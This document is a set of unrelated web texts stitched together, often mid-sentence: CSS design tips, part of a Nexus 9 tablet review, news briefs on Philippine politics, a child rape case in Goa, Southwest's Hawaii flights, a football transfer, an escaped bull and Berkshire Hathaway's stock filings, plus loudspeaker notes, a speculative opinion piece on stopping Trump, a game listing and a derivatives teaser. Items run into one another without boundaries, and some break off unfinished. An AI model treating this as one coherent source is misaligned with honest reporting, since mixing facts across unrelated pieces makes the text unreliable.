If one thing deserves its own set of tips, it’s the complex matter of adding typography, color and imagery to CSS. We want readable content and we want it in a consistent layout. In this section, we’ll learn to take advantage of typography and color, which are powerful conventions in design. I’ll talk about “web-safe” and share tips relating to the latest craze of embedding fonts.
“Web-safe” concepts have changed over time and could soon become a non-issue.
76 Squeezing content too close together can decrease overall readability. Use the line-height property to space lines of text appropriately.
77 Be cautious about letter-spacing : too much space and words will become illegible, too little and the letters will overlap.
78 Unless you have good reason, don’t uppercase (i.e. text-transform:uppercase; ) long passages of text (e.g. HEY GUYS AND GALS WHAT’S UP?). People hate reading what comes off as shouting.
79 Accessible websites have good contrasting colors. Tools exist to measure foreground colors against background colors and give you a contrast ratio. Check out this list of tools for checking your design’s colors. Be sure your text is legible.
80 Remember that default styles might differ greatly from browser to browser. If you want stylistic flourish, reinforce the behavior in the stylesheet.
81 In the old days, the number of colors that a screen could display was rather limited. Some people still use old monitors, but the need for web-safe colors has drastically reduced.
82 Building a font stack is essential when making a design degrade gracefully. Make sure that fallback typefaces exist in case the one you request isn’t available.
83 With Vista, Windows 7 and MS Office 07–10 (and their free viewers), a number of cool new web-safe fonts have become available, such as Candara, Calibri and Constantina. Read about Windows fonts.
84 Plenty of smartphone apps can boost your ability to build a stylesheet, but Typefaces for the iPhone and other iOS4 devices is particularly useful because it shows you every font installed.
85 Web-safe fonts are no guarantee; people could quite possibly uninstall a font even as ubiquitous as Arial (or Comic Sans!). Then their browsers wouldn’t be able to render it.
86 Avoid underlining content with the text-decoration property unless it’s a real link. People associate underlined text with hyperlinks, and an underlined word could give the impression that a link is broken.
87 Avoid the temptation to use symbolic typefaces like Wingdings or Webdings in the layout. It might save KBs on imagery, but it’ll serve nonsensical letters to screen-reader users.
88 Remember that @font-face has different file format requirements depending on which browser the user is on, such as EOT, WOFF, TTF and OTF (as you would find on a PC). Serve the appropriate format to each browser.
89 The outline property is seriously underused as an aid to web accessibility. Rather than leaving it set to the default value, use border styles to enhance an active event’s visibility.
90 Smartphones do not have the same level of core support for web typography that desktop browsers do, which means fewer web-safe fonts and no conventional @font-face embedding.
91 Cross-browser opacity that degrades gracefully can be applied using the -ms-, -moz-, -khtml- vendor prefixes and the filter: alpha(opacity=75); property for Internet Explorer.
92 You can make background-image bullets by using list-style-type:none;, adding a padding-left indent and positioning the background-image to the left (with the required pixel offset).
93 Helping users identify an input box is easy; just add a background image of the name (like “Search” or “Password”) and set it so that the image disappears when the box is clicked on by using the :focus pseudo-class and then setting the background property to none.
94 Large and visible click regions enhance the usefulness and usability of anchor links, which in turn guide people among pages. Be attentive when you style these.
95 Remember that background images do not replace textual content. If a negative indent is applied, for example, and images are disabled, then the title will be invisible.
96 Navigation items need to be labeled appropriately. If you use a call-to-action button or an image-based toolbar, make sure a textual description is available for screen readers.
97 If the idea of applying opacity with a bunch of proprietary elements doesn’t appeal to you, try RGBA transparency (in CSS3) instead of background-color: rgba(0,0,0,0.5);.
98 If your visitors use IE6, avoid using px as the unit of measurement for text. IE6 users have no zoom functionality; they rely on text resizing, which doesn’t work with px. Use a relative unit instead, such as em.
99 Providing alternative stylesheets for supported browsers such as Firefox and Opera can enhance readability, as in the case of high-contrast alternatives.
100 If you find choosing colors difficult, web-based tools like Adobe Kuler, desktop tools like ColorSchemer Studio and mobile apps like Palettes Pro might help.
Style Can Be Stylish!
CSS has come a long way in recent years. With browser makers implementing the CSS3 specification even before it’s finalized, adding unique proprietary styles (such as WebKit transformations) to the mix and increasingly supporting web standards, there has never been a better time to be a web designer. In the past, we could only hope that our styles would be correctly applied, but it seems that desktop and mobile platforms are improving like never before.
Web designs have come a long way since the ’90s, and that’s a good thing.
Implementing CSS can be frustrating, what with ongoing web-browser issues, but it’s still one of the most fun web languages you can engage with. Rather than laying out the structure of objects or fiddling with complex mechanisms, you can dictate how content should appear. It’s like being given a blank piece of paper and a pack of crayons. And designers are experimenting with the available styles to create beautiful experiences for audiences.
Consider the implications of every property and style you declare. CSS can turn the simplest or most minimalist layout into a complex structure of interactivity that would terrify all but the most dedicated individuals. As the capabilities and options in CSS grow and devices are updated to support them, a new wave of unique layouts will appear. Hopefully a number of them will be yours.
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Alexander Dawson is a freelance web designer, author and recreational software developer specializing in web standards, accessibility and UX design. As well as running a business called HiTechy and writing, he spends time on Twitter, SitePoint’s forums and other places, helping those in need.All of the above is driven by Google' stock Camera app, and guess what: It's about as straightforward an experience as you'll find. Wanna snap a photo? Nudge that gigantic, rectangular shutter button. Swiping from left to right lets you jump among shooting standard photos, Photo Spheres (remember those?), panoramas and videos. A deeper dive into the settings lets you decide whether you want location data to be saved with each shot, and if you want manual exposure controls for even more granular shot-taking. Feel free to leave that particular option unchecked though; most of my best shots came about through careless pointing and shooting.
Performance
Google Nexus 9 Samsung Galaxy Tab S** NVIDIA Shield tablet iPad Air 2 Quadrant 2.0 13,737 18,597 20,556 N/A Vellamo 2.0 2,653 1,672 3,055 N/A SunSpider 1.0.2* (ms) 948.3 1,109 463 303 3DMark IS Unlimited 24,256 12,431 30,970 21,659 GFXBench 3.0 Manhattan Offscreen (fps) 31 5.5 31 32.4 CF-Bench 18,495 31,695 43,033 N/A *SunSpider: Lower scores are better. **Average scores for the 8.4- and 10.5-inch models.
This might go without saying, but I can't help but feel the Nexus 9 really got short-changed when it came to our usual slew of benchmarks, thanks at least in part to the architecture of NVIDIA's 64-bit Tegra K1 chipset. You see, this version of the K1 has a dual-core processor configuration rather than the quartet of cores the 32-bit edition spotted in the NVIDIA Shield tablet, and that made for some rather interesting dips in the 9's Quadrant and CF-Bench scores. That said, the Nexus 9 put up some stronger numbers when it came to tests that relied on more visual pizzazz, like GFXBench's offscreen Manhattan rendering and 3DMark's Ice Storm. Curious, I pitted the K1-toting Nexus 9 and Shield tablet against each other in a few more tests -- the 9 boasted a stronger single-core score than the Shield in Geekbench 3 (1,643 vs. 1,074), but the multi-core score definitely skewed in the Shield's favor.
The thing about these synthetic benchmarks is that they can't tell the true story of a gadget all on their lonesome. Going off the numbers you see above would lead you to believe that the Nexus 9 is some sort of mediocre also-ran. If you glean one thing from this section, make sure it's the knowledge that despite some seemingly off-kilter numbers, the Nexus 9 can and will handle just about anything you throw at it. As I made abundantly clear in the software section, the Nexus 9 runs incredibly smoothly while you poke around the OS and launch apps. That sort of computational oomph carries over into graphically intense situations like games, too -- just what you'd expect from a chipset with the K1's pedigree. You might remember that the quad-core, 32-bit version was featured in NVIDIA's own Shield tablet not long ago, where it helped the thing push pixels with plenty of grace and fluidity.
The 64-bit variant (and its similar assortment of 192 Kepler GPU cores) inside the Nexus 9 is meant to step things up even further, and it shows. Watching the events of République unfold was as fluid and as engrossing an experience as I've seen on a tablet, and taking hard corners in Asphalt 8 looked as gorgeous as ever, even with its graphics settings cranked up. There's just one concerning bit to note: The top-right corner of the tablet (presumably where its brains are located) can get very warm once you starting pushing it around. In my case, it was most apparent while swatting at pumpkin-headed zombies in Dead Trigger 2 -- I haven't noticed the thing getting alarmingly hot, but I did occasionally wonder whether I was gripping a tablet or a warm cup of tea.
Google claims that the Nexus 9's battery will hang in there for about 9.5 hours on a charge if you're surfing the web or watching videos, and my initial spin with the slate fell just short of that mark. It was nothing if not an able companion as I plowed through my daily routine, sticking with me through about 12 hours of mixed usage (you know, web browsing, shooting off emails, the odd gaming break in the bathroom, with plenty of standby time mixed in between). The first few times through our standard video rundown test (with an HD video set to loop indefinitely while screen brightness is locked at 50 percent), the Nexus 9 usually managed to hang in there for about 9 hours and 10 minutes before giving up the ghost. Here's the thing, though: Google dropped one last big software update on us yesterday -- it's the version that's shipping on the Nexus 9s you'll get -- and right now I'm retesting the battery to see if we can squeeze even more out of it.
Configuration options and the competition
After slogging through those thousands of words, you've probably got a good sense of what the Nexus 9 brings to the table. Right now you can claim either a WiFi-only Lunar White or Indigo Black model with 16GB of internal storage for $399 (there's a handsome Sand model that isn't ready just yet). Since you don't have the option of sticking a memory card in there, you'll probably want to shell out the extra $80 to double your storage capacity too. Oh, what's that? You're a big spender? As the most premium member of the family, the 32GB LTE/HSPA+/EV-DO/GSM model will be right up your alley -- it's not quite ready for public consumption yet, but it'll cost $599 when it ships. Now the question is, well, what other tablets out there are worth your cash and consideration?
As I noted before, the Nexus 9's screen -- while totally adequate -- is unlikely to knock your socks off. If that's the sort of experience you're after, consider Samsung's Galaxy Tab S family, a pair of ultra-slim slates that pack some of the prettiest Super AMOLED screens we've ever seen. The most basic model runs at $400, and has a slightly smaller 8.4-inch display running at a mind-boggling 2,560 x 1,600 (that's the most pixel-dense AMOLED you can find on a tablet). That's not to say there aren't trade-offs, though. The combination of Samsung's bloatware fetish and the tablet's 1.9GHz Exynos 5 Octa 5420 processor means you're prone to hit more hiccups than on the Nexus 9.
Meanwhile, if you're a media buff who digs the idea of a nearly 9-inch screen, you'll want to consider Amazon's Kindle Fire HDX 8.9. Its screen measures the same diagonally as the Nexus 9, but it squeezes even more pixels into all that space, and the aspect ratio is stretched out to a more video-friendly 16:10 so you can plow through all those Amazon Prime movies with fewer black bars in sight. The plus side: Amazon didn't pussyfoot around with design, so it's noticeably slimmer and lighter than the Nexus 9 to boot. It's just a touch cheaper than the Nexus 9, too: The basic 16GB WiFi model will only set you back $379.
Of course, all of the above assumes you're already dead-set on an Android slate. If that's not the case, you'll want to consider Apple's iPad Air 2: It's thinner and roughly the same weight as the Nexus 9 despite its bigger screen, and it starts at $499 if you think 16GB of storage will suffice. And in the event you're looking for a taste of untainted Lollipop, let me offer a more unorthodox choice: How about the Nexus 6? Its 6-inch screen means it's close enough to tablet territory for some people, and for now, the Android 5.0 pickings are pretty slim. Of course, you'll want to wait until we publish our full Nexus 6 review before deciding one way or the other, but it's at least worth keeping in the back of your head.
Wrap-up
I didn't expect to feel so torn about the Nexus 9. On the one hand, Android 5.0 Lollipop is refreshing, what with its snappiness and welcoming redesign. On the other, I can't help but feel a little frustrated that Google and HTC compromised on the Nexus 9's screen, speakers and design. I get the rationale. The software's the real highlight here, so they didn't feel the need to go bonkers with the hardware niceties (and the costs that come with them). What that all boils down to is a tablet that's stunning in some ways and seemingly average in others. Long story short: If you want to live on Android's bleeding edge, buy a Nexus 9. Buy it because of Lollipop. Those few shortcomings won't overshadow all the good that Google and HTC have done here. But if that's not you -- if you don't demand the latest software that springs forth from Mountain View's depths as soon as it's ready -- there are plenty of attractive options that might fit your life a little better.
Photos by Will Lipman. Sean Buckley contributed to this story.Ahead of All Saints’ Day, President Rodrigo Duterte on Monday paid respects to his late predecessors by sending flowers to their tombs.
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Duterte sent flowers to the tombs of former Presidents Elpidio Quirino, Diosdado Macapagal, and Carlos Garcia at the Libingan ng mga Bayani in Taguig.
Wreaths from Duterte were also spotted at the tombs of former Presidents Ramon Magsaysay and Sergio Osmeña at the Manila North Cemetery.
Duterte also sent flowers to the tomb of the parents of his predecessor Benigno Aquino III, the late democracy icons former President Corazon Aquino and former Senator Benigno “Ninoy” Aquino Jr., at the Manila Memorial Park.
Nov. 1 is a special nonworking holiday in the Philippines when most Filipinos commemorate their deceased loved ones. YG/JE/rga
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MOST READWe were hoping for Southwest Hawaii flights to be announced today. Instead, the latest word from CEO Gary Kelly on Southwest Hawaii flights is this. Speaking today to an employee rally in Dallas, he indicated that the company has obtained verbal approval from the FAA for flights to Hawaii, with written approval coming within days. At that point, ticket sales will begin, with flights to follow within just weeks. We still hope and expect to see Southwest Hawaii flights in the air by next month.
Last week, at another SWA rally in Las Vegas, Gary said, “we’re going to go very focused into Hawaii. We want to ramp up and be relevant rather quickly.” In addition, he indicated that Las Vegas flights to and from Hawaii may also be on their agenda in the not distant future. He said, “we’ll definitely have Hawaiians [sic] taking advantage of access to Las Vegas.”
Southwest has some things to learn about Hawaii culture and use of language. In the paragraph above, Gary’s quote uses the word “Hawaiians” incorrectly. We noted that it should have been Hawaii residents, as “Hawaiians” is obviously a different reference. We’ll cut Southwest some slack for now.
Test flights are complete.
The first Southwest Hawaii flight to Honolulu took place on February 5, 2019, from Oakland. It returned to the mainland on Wednesday February 6. In total six test flights occurred, including inter-island and diversion testing.
Unique food and drink on-board.
1. Food.
Southwest 737 galleys do not have the facilities to support customary airline meals. With no traditional chillers/ovens or food trolleys in their aircraft, and galley space extremely limited, the airline is going in another direction. Thus, free food will be provided as two snack services. One soon after take-off and another two hours before landing. This is reminiscent of the snack boxes SWA had on longer flights until about five years ago.
As expected, Sonya Lacore, VP of SWA Inflight Services said last week that the airline will not be serving hot food on Hawaii flights. Apparently there will be no food for sale as well. Instead they will be offering the following complimentary snacks:
Southwest Hawaii flights snack services will accompany drinks. The main post-departure service will feature a snack bag that includes crackers, pretzels, cheese spread, Tic-Tacs and fruit snacks. The second service will consist of Pepperidge Farm cookies.
2. Some Hawaii style beverages.
The airline will help try to capture the island environment through unique drink offerings. Those are said to include pineapple/orange juice, Kona Longboard beer and Blue Chair Bay (Caribbean) rum.
Beat of Hawaii’s timeline estimate as of February 25:
February 2019
✈ (Completed) Final ETOPS test (proving) flights end to end across Pacific
✈ (Completed) FAA certification verbal approval
✈ (Pending) FAA certification written approval
✈ (Pending) Flight announcement/ticket sales start
Late March to early April 2019
✈ Commencement of flights to Honolulu/Maui
By Summer 2019
✈ Inter-island flights extensions from Maui and Honolulu to Kona and Lihue
✈ Flights from Los Angeles to Hawaii
✈ Direct flights to Kona and Lihue
✈ Possible addition of inter-island flights including Hilo
Summary of where SWA Hawaii flights stand today.
1. FAA sign-off on procedures and documentation is complete. Test flights have occurred and are complete.
2. Southwest is ready to fly. They have ground employees in the islands, and the flight schedules and other plans are set. A Los Angeles flight crew base for Hawaii is also in place. All aspects of the launch are ready pending the FAA final go ahead.
3. New terminal at Honolulu airport has been completed. It will be ground floor using boarding ramps, and dual door boarding is possible. In November 2018, the airline said it will begin testing front/rear door boarding to shorten time. This is well suited to Honolulu given our good weather. Maui is ready as well.
4. Hilo is on the Southwest Hawaii map according to SWA executives. We aren’t clear if that will be inter-island only, or if a San Diego or Oakland to Hilo flight is a possibility. There is only one flight at present between the mainland and Hilo.
5. |
Toole also provides related responses that can be measured more easily. For example, the listening window response is the average of the nine frequency response measurements at angles of +/- 30 degrees horizontally and +/- 10 degrees vertically. Another, the early reflections curve, is an average of 26 measurements at angles that mimic the directions of radiation that will result in first reflections in a typical listening room. Toole shows that the early reflections curve is in fact a good predictor of a loudspeaker’s measured in-room response. The terms “dispersion” and “directivity” are often used almost interchangeably, as in “controlled dispersion” and “controlled directivity”. They tend to have opposite meanings, with “wide dispersion” and “low directivity” meaning roughly the same thing. I’ve not found a formal definition of “dispersion” as it relates to loudspeakers, but it tends to be used to describe the pattern of or variation in acoustic radiation, sometimes in a general sense (as in “the plot shows the dispersion pattern of the speaker”) and sometimes more specifically as the angle between the -6 dB points of a beam. In contrast, the directivity index of a speaker is defined precisely as the difference (in dB) between the on-axis response and the power response, or (Toole p379) as the difference between the listening window response and the power response. The term “lobing” refers to the formation of “lobes” in the acoustic response, whereby some angles have full power radiated and some have none. It is an unavoidable consequence of the use of multiple sound sources. See Figures 1 and 2 in this Rane app note for examples of vertical lobing. Lobing also occurs in open baffle speakers because of the interference effects of the acoustic radiation from the front and rear of the baffle.
Acknowledgements
HifiZine gratefully acknowledges the support of the following companies and individuals:
miniDSP, for providing the amplifiers used in this loudspeaker project.
Seas of Norway, for providing the loudspeaker drivers used in this project.
Duke LeJeune ( AudioKinesis ), Ammar Jadusingh ( Soundfield Audio ), and Patrick Dillon, for reviewing and commenting on this article prior to publication.Indian girl, seven, is raped in school toilet sparking fresh protests and arrest of headmistress for negligence of duty
More than 150 people gathered at the school in Vasco da Gama, Goa
Girl was allegedly attacked in toilet next door to headmistress's office
Police searching for rapist, thought to be in his 20s
Hundreds of people surrounded a school in India to protest after a seven-year-old girl was allegedly raped in the toilets next door to the headmistress's office.
The girl was attacked at Deepvihar high school, which also has a primary faculty, in the city of Vasco da Gama in Goa yesterday.
The incident is the latest in a series of horrific rape cases which have besieged India and caused widespread protests.
Protests: There has been widespread unrest in India since the brutal gang rape of a student on a bus who later died from her injuries
More than 150 people surrounded the school last night demanding the arrest of the headmistress and the rapist, who is thought to be in his 20s.
A police official said: 'The girl was raped inside the school toilet during recess'.
The headmistress was later arrested for negligence of duty.
'We will not spare the accused and anyone involved in this crime,' Goa Chief Minister Manohar Parrikar added.
The attack in Goa comes after a 23-year-old student died after being brutally gang raped by five men on a bus in Delhi last month.
The victim and male friend had boarded the bus after going to watch a film before attacking the couple and taking it in turns to rape her.
She died two weeks later in a Singapore hospital.
Anger: A series of horrific rape cases in India have sparked demands for greater security for women
The case has thrown the international spotlight on sexual abuse in India and thousands have protested demanding greater protection for women and the death penalty for rape.
At the latest hearing today, one of the accused presented documents in a bid to prove he was a juvenile at the time of the attack.
If a judge rules in his favour he cannot be given the death penalty if convicted.
Yesterday, six men were arrested after another alleged gang rape of a woman on a bus in New Delhi.
The victim had been travelling to her in-laws hosue in Punjab on Friday when she was allegedly snatched and to a district bordering Amritsar, the Sikh holy city.
Five men joined the driver and conductor, who had taken her by motorbike to an unknown address, and took turns to rape the 29-year-old.Celtic made their move to land Aberdeen winger Jonny Hayes on Thursday night.
And the Parkhead club hope to agree a deal worth £1.2million for the Republic of Ireland star before Hayes joins Martin O'Neill's squad for Sunday's friendly with Uruguay at the Aviva Stadium in Dublin.
English Championship sides Cardiff City and Birmingham City are also keen to land the 29-year-old wide man.
Celtic made a formal approach for Aberdeen winger Jonny Hayes on Thursday evening
On Thursday, however, Celtic were trying to broker an agreement on a fee after Aberdeen reluctantly agreed to let their talisman go.
The Pittodrie club are keen to sign Ryan Christie on a permanent basis following the 22-year-old Celtic midfielder's successful loan spell in the Granite City.
If a players-plus-cash agreement proves elusive, though, the Scottish champions face a fee of around £1.2m for Hayes who is under contract with Derek McInnes' Dons until the summer of 2019.
Birmingham manager Harry Redknapp travelled to Glasgow to watch the winger in Saturday's 2-1 Scottish Cup final defeat to Celtic at Hampden, while Cardiff had three bids of £650,000 kicked out by the Pittodrie club in January.
Cardiff remain the biggest threat to Celtic's hopes of landing the player.
But Hayes is keen to be reunited with Parkhead boss Brendan Rodgers, who was his academy coach at Reading.
The Parkhead club hope to agree a deal worth £1.2million for the Republic of Ireland star
With Celtic loan star Patrick Roberts having returned to his parent club Manchester City after last Saturday's clinching of the Treble, Rodgers is in the market for a wide player, a midfielder and a central defender before the Champions League qualifiers begin in mid-July.
And he has long been an admirer of Hayes, who joined Aberdeen from Inverness Caledonian Thistle in 2012.
Despite the move, Parkhead coach John Kennedy claimed yesterday that wholesale changes are unlikely to be made to Rodgers' squad this summer.
'The important thing is keeping the squad together and that we don't make too many changes,' said the former Celtic defender.
'If you can add one or two who can make us better then you want to do that because you want to improve in all areas, but it's very difficult to do that.
'We have a strong group and if you are not going to make the team stronger, then there is no point bringing in extra bodies.
'Our approach will be, if it's better than what we have then we will add, and if not then we just go with what we have got.'
Shamrock Rovers, meanwhile, have confirmed that Celtic will travel to Dublin later this summer for a friendly at Tallaght Stadium on Saturday, July 8.A rogue calf went on the lam in Brooklyn Tuesday — breaking free from its captors and causing a rodeo-style ruckus in the heart of stroller mom turf.
The cow escaped from a slaughterhouse on Fourth Avenue near 16th Street in Park Slope and hoofed it to the Prospect Expressway and then south towards Prospect Park, police sources said.
The NYPD’s Emergency Services Unit cops shot the bull with an air-powered tranquilizer pistol and corralled it into a horse trailer near the park’s parade grounds at around 1:30 p.m.
As cops tried to wrangle the bold bovine, it slammed into a soccer goal and knocked over a female police officer, according to witnesses.
“He took me down when he crashed into the soccer net,” the cop said, adding she wasn’t injured. “Just my pride [was hurt]!”
A crowd of 200 people gathered to watch the barnyard drama unfold. Many of them gasped when the bull was struck with tranquilizers.
A live video showed the creature standing in a soccer field, looking confused — as at least six officials closed in on him and four helicopters hovered overhead.
“The poor thing, he don’t know what to do — and neither do the cops! We need a cowboy,” said neighbor Yvonne Felix, 42.
The bull will be taken to Skylands Animal Sanctuary in Wantage, NJ, an official said.
The NYPD’s Emergency Services Unit cop had the bull cornered — with tranquilizer guns drawn —near Caton Avenue and Stratford Road at around 1 p.m. Tuesday. Animal Care Center workers were also on site.
To catch the creature, cops blocked off a section of Caton Avenue, snarling traffic and irking drivers.
A wild photo shot from above shows the bold bovine kicking up dust on a street near Prospect Park, according to ABC7NY, which tweeted the image.
Another photo shows the creature bolting under an overpass near several parked cars, according to a tweet from Boro Park News.
On Tuesday afternoon, the bull had earned its own Twitter page, which declared, “NYPD MOVING IN…Let’s MOOOVE!”Yesterday on September 24th, after its 10 day testing phase, CBT2 has ended. A few details have been revealed during the test about the upcoming beta.
The second beta test has officially ended, there was a really active tester base and an overall great interest in adventures.
Smilegate thanks everyone who participated in the 10-day beta testing phase from Sept. 15th to 24th and every tester can fill out the feedback form on the official website until Sept 27th.
There were also a few events for physical items such as mechanical keyboards, mousepads, gaming chairs, graphics cards the winners for these will be announced later on.
Feedback is very important and the company will analyze constructive feedback and tweak the game accordingly.
In CBT3 there will be 50 more Sylian’s Commands activities, 2000 new Islands and 5000 new trading cards to collect.
It will also feature Gunner’s 3rd subclass Hawkeye and Fighter’s 3rd subclass Soulmaster too.
Hawkeye is a longrange subclass of the Gunner base and it uses a mechanical bow type weapon with special arrows. His core ability is to summon a Hawk that helps him in combat.
Soulmaster uses a gauntlet with charms, she is a trained martial artist who freely manipulates ‘ki’ (soul energy) and is able to neutralize an enemy with her acrobatic moves easily.Warren Buffett's Berkshire Hathaway Inc. acquired a new position in software maker Red Hat Inc. and reduced its position in Apple Inc. at the end of December, according to 13F filings with the Securities and Exchange Commission that were released Thursday afternoon. Berkshire acquired 4.175 million shares of Red Hat worth $733 million, according to filings. The investment company also picked up new stakes in Suncor Energy, purchasing 10.75 million shares, and bought a stake in StoneCo Ltd., described as the PayPal of Brazil by some, adding 14.16 million shares, filings show. Meanwhile, the influential investor shed 2.89 million shares of Apple, reducing his position in the iPhone maker by about 1%, according to filings. The investment company maintains 249,589,329 million shares of Apple worth about $39.4 billion, making up 21.5% of Berkshire's holdings, down from 25.8%, according to data from WhaleWisdom. Meanwhile, Buffett's firm slashed his stake in Phillips 66, reducing it by 22%, or 3.5 million shares, and cutting his holdings in the parent company of United Airlines by 15%, or by about 4 million shares. Berkshire also notably unloaded its entire stake in Oracle Corp., a little over 41 million shares, the 13F filing shows. Large investors must disclose long stock positions held at the end of a quarter 45 days later in a 13F filing with the SEC, which means such filings are merely a snapshot of an investor holdings at a given point. Berkshire Class A and B shares are down by about 0.7% so far in 2019, compared with a 9.1% year-to-date gain for the Dow Jones Industrial Average and a 9.5% gain for the S&P 500 index thus far in 2018, according to FactSet data. The technology-laden Nasdaq Composite Index has gained 11.9% so far this year.
by Mark DeCambreEstablishment Hatches Plan to Stop Donald Trump
Donald Trump is definitely an outsider politician and many people, especially die-hard conservative Republicans, don’t like him. The problem, as they see it, is that whether or not his ideas are good or bad, Trump appears ready to defy the tendency to compromise as professional politicians do, regardless of their partisan affiliations. Trump is an enemy to their personal interests.
The same happened with Ronald Reagan. Critics alleged he was an actor in second-rate western films and hardly the sort of person capable of leading the world’s most powerful nation. Not only was Reagan a beloved GOP president, but also many Republicans still miss him to this day, considering him the very symbol of a strong, Top Gun-style America.
Some Republicans and their well-heeled backers, however, may have a plan to beat Trump before he gets as far as Regan.
But first, a little background…
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Trump himself has never liked the party establishment, so the feeling is mutual. The conservative middle class does not recognize itself in the boldness (or harshness) of his words. Many women cite his sexist views. Most religious Republicans, who in many states in the Midwest and South are the ones who decide elections (proving decisive in both of George W. Bush’s elections), disdain the tycoon’s flash and lifestyle.
Those GOP voters who have decided against supporting Trump don’t have many options left. Ted Cruz and John Kasich have formally abandoned the race to the nomination. Trump has no more rivals. The Cleveland convention is a done deal; it won’t deliver any surprise. Instead, it will be Trump’s coronation.
The primaries in Indiana mark the end of the road for the nomination race, but Donald Trump’s victory has opened a tough “civil war” within the GOP itself. The average Republican doesn’t like the New York billionaire. Social networks are pulsating to the tune of #NeverTrump, #TodayImADemocrat, or similar hashtags.
Unfortunately, today, these voters have no choice in who will represent their Party: the fact that Trump will be the Republican candidate in the race for the White House in November is now certain.
While the many Republicans who don’t want to vote for Trump seem to have no apparent choice left, though, that’s not entirely the case. They can still do one of two things: 1) they can boycott the polls entirely, or 2) they can go to the polls, hold their nose, shut their eyes, and put a checkmark next to Clinton.
As Henry Olsen, an analyst at the Ethics & Public Policy Center, noted, “I’m watching a 160-year-old political party commit suicide.” (Source: “It’s Donald Trump’s Party Now,” The New York Times, May 3, 2016.)
The challenge for Donald Trump in the next few months will be to win over those voters before the general election. The battle will be tough, judging from the first reactions.
It might be even tougher, though. Some have not yet surrendered to the reality of Trump as the GOP’s candidate. The Cruz-Kasich plan to force the nomination race to be decided in Cleveland has failed—that was Plan B.
However, there may yet be a Plan C.
Plan C
Are traditional Republicans with financing from the Koch brothers pondering nominating an independent conservative candidate in November to run as an alternative to Trump?
Trump would have an easy time against any opponent who takes him on in open battle, so finding a candidate who can match Trump could be difficult.
There is also the technical problem of any Trump rival having to collect a number of signatures in each state. This is not easy to do with just a few weeks left until Cleveland.
Let’s assume, though, hypothetically, that there were conditions (technical and political) for an alternative candidate. Who can run? House Speaker Paul Ryan (former Romney VP candidate in 2012) has refused convincingly. Susana Martinez, the governor of New Mexico, who would contrast Trump’s anti-Mexican rhetoric and his “beautiful” wall idea, could get strong blowback support from Hispanic voters. And Michael Bloomberg, the former mayor of New York, has already ruled out running as an independent.
Plus, GOP funders, just like the Koch brothers, have noted that they will support Hillary Clinton. Billionaires Charles and David Koch said during an ABC television interview that they would back Hillary Clinton as president. Unlike in other elections, the Koch brothers, who are worth some $90.0 billion together, have not paid a penny to the Republican Party and its candidates. (Source: “Exclusive: Koch brothers will not use funds to try to block Trump nomination,” Reuters, March 3, 2016.)
Might the Koch brothers, who have used their considerable wealth to bend democracy, back an alternative dark-horse candidate? They might and that dark-horse candidate may already have a name: Gen. James Mattis, a.k.a. “The Warrior Monk.” There’s no word that the Kochs are behind him yet, but rumors have been growing that unnamed billionaires are backing his candidacy.
James Mattis, a decorated soldier’s soldier who’s known for a 7,000-book library on military history and reading The Meditations of Marcus Aurelius in Latin, had already ruled out his candidacy on April 29. (Source: “Bill Kristol’s Pick For A Third-Party, Anti-Trump Candidate Says He Won’t Run,” Talking Points Memo, Apr.29, 2016.)
Yet, that was before Trump became the undisputed GOP leader for 2016. Retired General James Mattis could still launch a third-party presidential effort to wreck Republican frontrunner Donald Trump. “The Donald” would not have such easy sway over a four-star general who once said, “The first time you blow someone away is not an insignificant event. That said, there are some assholes in the world that just need to be shot.” (Source: “The Best from Mad Dog Mattis,” The Washington Free Beacon, March 18, 2016.)
If that doesn’t quite capture how Mattis could make mincemeat of Trump’s rhetoric, how would Trump possibly trump this one?
“You go into Afghanistan, you got guys who slap women around for five years because they didn’t wear a veil. You know, guys like that ain’t got no manhood left anyway. So it’s a hell of a lot of fun to shoot them. Actually it’s quite fun to fight them, you know. It’s a hell of a hoot. It’s fun to shoot some people. I’ll be right up there with you. I like brawling.” (Source: Ibid.)
I personally like this one: “You are part of the world’s most feared and trusted force. Engage your brain before you engage your weapon.” (Source: Ibid.)
That’s the real killer quotation. It shows that Mattis can brawl with Trump all day long, beat him, and then win over wonks and reasonable people a moment later.
In a last desperate attempt to stop Trump, the right kind of “money” and GOP leaders might still persuade Mattis to stop Trump and beat Hillary Clinton. After all, wouldn’t it be fun to see Mattis deal with ISIS, have a chat over vodka with Vladimir Putin, or debate Hillary Clinton—and all of that after a battle to the last killer quote with Trump?Thirty-year-old Vafman Massaquoi was convicted on Thursday of three felony counts for creating phony voter applications while working for an advocacy group that registers new voters in Alexandria, according to the Office of the Commonwealth's Attorney for the City of Alexandria.
Authorities say Massaquoi forged the voter registration forms by inventing applicants. The applications were filed with the Alexandria Office of the General Registrar, who then reported the fraud to the Commonwealth's Attorney. Massaquoi pled guilty to two counts of forging a public record and one count of election fraud. Officials say he was sentenced to 5 years, with time already served. He previously spent 90 days in jail.
"Advocacy groups that seek to register members of under-represented communities or to encourage people to exercise the franchise do important work and deserve credit for their efforts. However, given how important the voting process is to a democratic system, these groups must inculcate a culture of checks and balances that ensures their employees always act in a manner above reproach," Commonwealth's Attorney Bryan Porter stated in a press release.Contents
Hatoful Boyfriend -Hatoful complete edition-
The OFFICIAL English language edition of the
world's greatest pigeon dating sim.
Find your true love at St. Pigeonation Academy. Yes.
Full compatibility for Windows XP, Mac OS X 10.1-10.6
Mac OS X 10.7 or greater does not support PowerPC applications, so there is no way to run the game under that OS as of yet.
Confirmed compatibility for Windows 7, Vista, with some possible bugs
Please take time to play the free trial game to confirm with your system:
http://clione.halfmoon.jp/hatoful-boyfriend/download.html MIST[PSI]PRESS is very proud to present...Hatoful Boyfriend -Hatoful complete edition-The OFFICIAL English language edition of theworld's greatest pigeon dating sim.Find your true love at St. Pigeonation Academy. Yes.Full compatibility for Windows XP, Mac OS X 10.1-10.6Confirmed compatibility for Windows 7, Vista, with some possible bugsPlease take time to play the free trial game to confirm with your system:
Notice
The English in this product was prepared by the circle.
It may be an originally English work or a translation.
Mac OS X 10.7 or greater does not support PowerPC applications, so there is no way to run the game under that OS as of yet.
Works in the Same Series
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Recently viewed itemsDo you want to know the real reason banks aren't lending and the PIIGS have control of the barnyard in Europe?
It's because risk in the $600 trillion derivatives market isn't evening out. To the contrary, it's growing increasingly concentrated among a select few banks, especially here in the United States.
In 2009, five banks held 80% of derivatives in America. Now, just four banks hold a staggering 95.9% of U.S. derivatives, according to a recent report from the Office of the Currency Comptroller.
The four banks in question: JPMorgan Chase & Co. (NYSE: JPM), Citigroup Inc. (NYSE: C), Bank of America Corp. (NYSE: BAC) and Goldman Sachs Group Inc. (NYSE: GS).
